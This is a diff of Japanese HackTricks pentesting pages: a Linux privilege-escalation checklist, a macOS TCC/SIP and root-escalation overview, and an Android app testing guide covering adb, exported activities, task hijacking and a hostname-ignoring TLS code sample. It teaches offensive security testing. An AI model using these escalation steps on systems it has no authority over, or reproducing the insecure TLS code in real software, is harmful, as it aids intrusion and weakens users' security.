* [ ] **プロファイルファイル** - 機密データを読み取る? プライベートエスカレーションに書き込む?
* [ ] **passwd/shadowファイル** - 機密データを読み取る? プライベートエスカレーションに書き込む?
* [ ] 機密データのために**一般的に興味深いフォルダー**を確認
* [ ] **奇妙な場所/所有ファイル、**アクセスできるか、実行可能ファイルを変更できるかもしれません
* [ ] **最近数分で変更された**
* [ ] 機密データのために**一般的に興味深いフォルダーを確認**
* [ ] **奇妙な場所/所有ファイル、**アクセスまたは実行可能ファイルを変更できるかもしれません
* [ ] **最近変更された**ファイル
* [ ] **Sqlite DBファイル**
* [ ] **隠しファイル**
* [ ] **PATH内のスクリプト/バイナリ**
@ -158,9 +158,9 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
### [**書き込み可能なファイル**](privilege-escalation/#writable-files)
* [ ] **任意のコマンドを実行するためにpythonライブラリを変更できますか**
* [ ] **任意のコマンドを実行するためにPythonライブラリを変更できますか**
* [ ] **ログファイルを変更できますか?** **Logtotten**エクスプロイト
* [ ] **/etc/sysconfig/network-scripts/**を変更できますか? Centos/Redhatエクスプロイト
* [ ] **/etc/sysconfig/network-scripts/**を**変更できますか?** Centos/Redhatエクスプロイト
* [ ] [**ini、int.d、systemd、またはrc.dファイルに書き込むことができますか**](privilege-escalation/#init-init-d-systemd-and-rc-d)
### [**その他のトリック**](privilege-escalation/#other-tricks)
@ -168,18 +168,18 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [ ] [**NFSを悪用して特権を昇格できますか**](privilege-escalation/#nfs-privilege-escalation)
* [ ] [**制限されたシェルから脱出する必要がありますか?**](privilege-escalation/#escaping-from-restricted-shells)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングインサイト**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースとインサイトを通じて、急速に進化するハッキングの世界を把握しましょう
リアルタイムのニュースとインサイトを通じて、急速に変化するハッキングの世界を最新の状態に保つ
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**

View file

@ -10,12 +10,12 @@ GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
@ -52,13 +52,13 @@ macOSに不慣れな場合は、macOSの基本を学び始めるべきです
[macos-applefs.md](macos-applefs.md)
{% endcontent-ref %}
* **カーネル**の**アーキテクチャ**
* k**ernelの** **アーキテクチャ**
{% content-ref url="mac-os-architecture/" %}
[mac-os-architecture](mac-os-architecture/)
{% endcontent-ref %}
* 一般的なmacOS **ネットワークサービスとプロトコル**
* 一般的なmacOS n**etworkサービスとプロトコル**
{% content-ref url="macos-protocols.md" %}
[macos-protocols.md](macos-protocols.md)
@ -91,15 +91,15 @@ macOSに不慣れな場合は、macOSの基本を学び始めるべきです
### ファイル権限
**rootとして実行されているプロセスが**ユーザーによって制御可能なファイルを書き込む、ユーザーはこれを悪用して**権限を昇格させる**ことができます。\
これはの状況で発生する可能性があります:
**rootとして実行されているプロセスが** ユーザーによって制御可能なファイルを書き込む場合、ユーザーはこれを悪用して**権限を昇格させる**ことができます。\
これは以下の状況で発生する可能性があります:
* 使用されたファイルすでにユーザーによって作成されている(ユーザーが所有)
* 使用されたファイルグループのためにユーザーによって書き込み可能
* 使用されたファイルがユーザーが所有するディレクトリ内にある(ユーザーがファイルを作成できる)
* 使用されたファイルがrootが所有するディレクトリ内にあるが、ユーザーがグループのために書き込みアクセスを持っているユーザーがファイルを作成できる)
* 使用されたファイルすでにユーザーによって作成されている(ユーザーが所有)
* 使用されたファイルグループのためにユーザーによって書き込み可能
* 使用されたファイルはユーザーが所有するディレクトリ内にある(ユーザーはファイルを作成できる)
* 使用されたファイルはrootが所有するディレクトリ内にあるが、ユーザーはグループのために書き込みアクセスを持っているユーザーはファイルを作成できる)
**rootによって使用される**ファイルを**作成できる**ことは、ユーザーがその**内容を利用する**ことや、別の場所を指す**シンボリックリンク/ハードリンク**を作成することを可能にします。
**rootによって使用される**ファイルを**作成できる**ことは、ユーザーがその**内容を利用する**、別の場所を指す**シンボリックリンク/ハードリンク**を作成することを可能にします。
この種の脆弱性については、**脆弱な`.pkg`インストーラーを確認することを忘れないでください**
@ -117,17 +117,17 @@ macOSに不慣れな場合は、macOSの基本を学び始めるべきです
## macOS TCC / SIP権限昇格
macOSでは、**アプリケーションやバイナリが**フォルダや設定にアクセスする権限を持ち、他のものよりも特権を持つことがあります。
macOSでは、**アプリケーションやバイナリがフォルダや設定にアクセスする権限を持つことができ**、それにより他のものよりも特権を持つことがあります。
したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC権限を昇格させる**必要があります(または、ニーズに応じて**SIPをバイパスする**こともあります)。
これらの権限は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つかります。プロセスがこれらの権限を取得する別の方法は、**その権限を持つプロセスの子プロセス**であることです。これらの権限は通常**継承されます**。
これらのリンクをたどって、[**TCCでの権限昇格**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses)、[**TCCをバイパスする**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)方法、過去に[**SIPがバイパスされた**](macos-security-protections/macos-sip.md#sip-bypasses)方法を見つけてください。
これらのリンクをたどって、TCCでの[**権限昇格のさまざまな方法**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses)、[**TCCをバイパスする**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)方法、過去に[**SIPがバイパスされた方法**](macos-security-protections/macos-sip.md#sip-bypasses)を見つけてください。
## macOS伝統的権限昇格
もちろん、レッドチームの視点からは、rootに昇格することにも興味があるはずです。以下の投稿をチェックして、いくつかのヒントを得てください:
もちろん、レッドチームの視点からは、rootへの昇格にも興味を持つべきです。以下の投稿をチェックして、いくつかのヒントを得てください:
{% content-ref url="macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](macos-privilege-escalation.md)
@ -145,7 +145,7 @@ macOSでは、**アプリケーションやバイナリが**フォルダや設
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
@ -170,7 +170,7 @@ GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,34 +1,34 @@
# Android Applications Pentesting
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に、または**私たちをフォロー**してください **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについてい
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で、今日からトップハッカーとコラボレーションを始めましょう!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Android Applications Basics
@ -43,18 +43,18 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
これは、Androidデバイスエミュレートまたは物理に接続するために必要な主なツールです。\
**ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、**ファイルのコピー**、**アプリのインストール**と**アンインストール**、**シェルコマンドの実行**、**データのバックアップ**、**ログの読み取り**などの機能を提供します。
以下の[**ADBコマンド**](adb-commands.md)のリストを確認して、adbの使い方を学びましょう
以下の[**ADB Commands**](adb-commands.md)のリストを確認して、adbの使い方を学んでください
## Smali
時には、**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスするために**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkを逆コンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\
[**このチュートリアルでは、APKを逆コンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中のいくつかのテストの代替手段として非常に役立つ可能性があります**。そのため、**この可能性を常に念頭に置いておいてください**。
時には、**アプリケーションコードを修正**して**隠された情報**おそらくよく難読化されたパスワードやフラグにアクセスすることが興味深い場合があります。そのため、apkを逆コンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\
[**このチュートリアルでは、APKを逆コンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中のいくつかのテストの代替手段として非常に役立つ可能性があります**。したがって、**この可能性を常に念頭に置いておいてください**。
## その他の興味深いトリック
## Other interesting tricks
* [Play Storeでの位置情報の偽装](spoofing-your-location-in-play-store.md)
* **APKダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
* デバイスからAPKを抽出する:
* **APKダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
* デバイスからAPKを抽出:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -75,8 +75,8 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## 静的分析
まず、APKを分析するためには、**デコンパイラを使用してJavaコードを確認する必要があります**。\
詳細な情報については、[**こちらをお読みください。さまざまな利用可能なデコンパイラについての情報**](apk-decompilers.md)。
まず、APKを分析するためには、**Javaコードを確認する**ためにデコンパイラを使用する必要があります。\
こちらを[**読んで、利用可能なデコンパイラに関する情報を見つけてください**](apk-decompilers.md)。
### 興味深い情報を探す
@ -88,7 +88,7 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL**[h
### アプリケーションの基本理解 - Manifest.xml, strings.xml
アプリケーションの**\_Manifest.xml**_\*\*および\*\*_**strings.xml**\_\*\*ファイルの**検査は、潜在的なセキュリティ脆弱性を明らかにすることができます\*\***。これらのファイルはデコンパイラを使用するか、APKファイルの拡張子を.zipに変更してから解凍することでアクセスできます。
アプリケーションの**\_Manifest.xml**_\*\*および\*\*_**strings.xml**\_\*\*ファイルの**検査は、潜在的なセキュリティ脆弱性を明らかにすることができます**。これらのファイルはデコンパイラを使用するか、APKファイルの拡張子を.zipに変更してから解凍することでアクセスできます。
**Manifest.xml**から特定された**脆弱性**には以下が含まれます:
@ -104,10 +104,10 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL**[h
### タップジャッキング
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースは、ユーザーがそれと対話するように騙すように設計されており、同時にその対話を被害者アプリに渡します。\
実際には、**ユーザーが実際に被害者アプリでアクションを実行していることを知らないようにしています**。
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、実際には被害者アプリに対するインタラクションを渡しています。\
実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。
詳細情報は以下を参照してください
詳細情報は以下で確認できます
{% content-ref url="tapjacking.md" %}
[tapjacking.md](tapjacking.md)
@ -117,7 +117,7 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL**[h
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションと対話していると思っている**)。
詳細情報は以下を参照してください
詳細情報は以下で確認できます
{% content-ref url="android-task-hijacking.md" %}
[android-task-hijacking.md](android-task-hijacking.md)
@ -127,43 +127,43 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL**[h
**内部ストレージ**
Androidでは、**内部**ストレージに**保存された**ファイルは、**それらを** **作成した** **アプリ**によってのみ**アクセス可能**であるように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、潜在的に悪意のある他のアプリケーションによるこれらのファイルへのアクセスを**制限しません**。
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、潜在的に悪意のある他のアプリケーションによるこれらのファイルへのアクセスを**制限しません**。
1. **静的分析:**
* `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く精査されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
* `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く精査される**ことを**確認してください**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
2. **動的分析:**
* アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に読み取りまたは書き込み可能に設定されているかどうかを確認**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
* アプリによって作成されたファイルに設定された**権限**を**確認してください**。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているかどうかを確認してください**。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
**外部ストレージ**
**外部ストレージ**上のファイルを扱う際には、いくつかの注意が必要です:
1. **アクセス可能性**
* 外部ストレージ上のファイルは**全世界に読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。
* 外部ストレージ上のファイルは**全世界に対して読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。
2. **セキュリティの懸念**
* アクセスの容易さを考慮すると、**機密情報を外部ストレージに保存しないことが推奨されます**。
* アクセスの容易さを考慮して、**機密情報を外部ストレージに保存しないことをお勧めします**。
* 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。
3. **外部ストレージからのデータ処理**
* 外部ストレージから取得したデータに対しては常に**入力検証を行う**必要があります。これは、データが信頼できないソースからのものであるため、重要です。
* 外部ストレージに実行可能ファイルやクラスファイルを保存して動的に読み込むことは強く推奨されません。
* アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込む必要があります。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。
* 外部ストレージから取得したデータに対しては常に**入力検証を行ってください**。これは、データが信頼できないソースからのものであるため、重要です。
* 動的読み込みのために外部ストレージに実行可能ファイルやクラスファイルを保存することは強く推奨されません。
* アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認してください**。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。
外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス可能**です。
{% hint style="info" %}
Android 4.4**API 17**以降、SDカードには、**アプリ専用のディレクトリへのアクセスを制限するディレクトリ構造**があります。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。
Android 4.4**API 17**以降、SDカードには、**アプリが特定のアプリ用のディレクトリにのみアクセスできるように制限するディレクトリ構造**があります。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。
{% endhint %}
**平文で保存された機密データ**
* **共有設定**Androidは各アプリケーションが`/data/data/<packagename>/shared_prefs/`パスにXMLファイルを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
* **データベース**Androidは各アプリケーションが`/data/data/<packagename>/databases/`パスにSQLiteデータベースを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
* **共有設定**Androidは各アプリケーションが`/data/data/<packagename>/shared_prefs/`パスにXMLファイルを簡単に保存できるようにしており、時にはそのフォルダ内に平文で機密情報が見つかることがあります。
* **データベース**Androidは各アプリケーションが`/data/data/<packagename>/databases/`パスにSQLiteデータベースを簡単に保存できるようにしており、時にはそのフォルダ内に平文で機密情報が見つかることがあります。
### 壊れたTLS
**すべての証明書を受け入れる**
何らかの理由で、開発者はホスト名が以下のようなコード行と一致しない場合でも、すべての証明書を受け入れることがあります:
何らかの理由で、開発者は時々、ホスト名が以下のようなコード行と一致しない場合でも、すべての証明書を受け入れます:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -178,14 +178,14 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms**
開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
### Other checks
* APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。
* アプリが機密性の高いものである場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、その結果に応じて行動する必要があります。
* アプリが機密性の高いものである場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。
* アプリが機密性の高いものである場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
* アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。
* アプリが機密性が高い場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。
* アプリが機密性が高い場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
* [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。
### React Native Application
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -311,7 +311,7 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、ツール[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
{% hint style="warning" %}
**Android 4.0以降**、**アプリケーションは自分自身のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
@ -320,26 +320,26 @@ You need to activate the **debugging** options and it will be cool if you can **
**Copy/Paste Buffer Caching**
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションでは**コピー/ペースト**機能を無効にすることが重要です。
**Crash Logs**
アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信ることを確認してください。
アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。
ペンテスターとして、**これらのログを確認することをお勧めします**。
**Analytics Data Sent To 3rd Parties**
アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
### SQLite DBs
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報を見つけることができるかもしれません(これは脆弱性となります)。\
データベースは`/data/data/the.package.name/databases`に配置されるべきです。例えば`/data/data/com.mwr.example.sieve/databases`
データベースが機密情報を保存していて**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を実行してテーブルのカラムを列挙します。
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を使用してテーブルのカラムを列挙します。
### Drozer (Exploit Activities, Content Providers and Services)
@ -353,7 +353,7 @@ Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass**
Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。
Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスできる可能性があります。
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)
@ -364,15 +364,15 @@ You can also start an exported activity from adb:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**注意**: MobSFは、アクティビティの`android:launchMode`_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険なようです
**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険なようです
{% hint style="info" %}
認可バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が露出しているかによります。
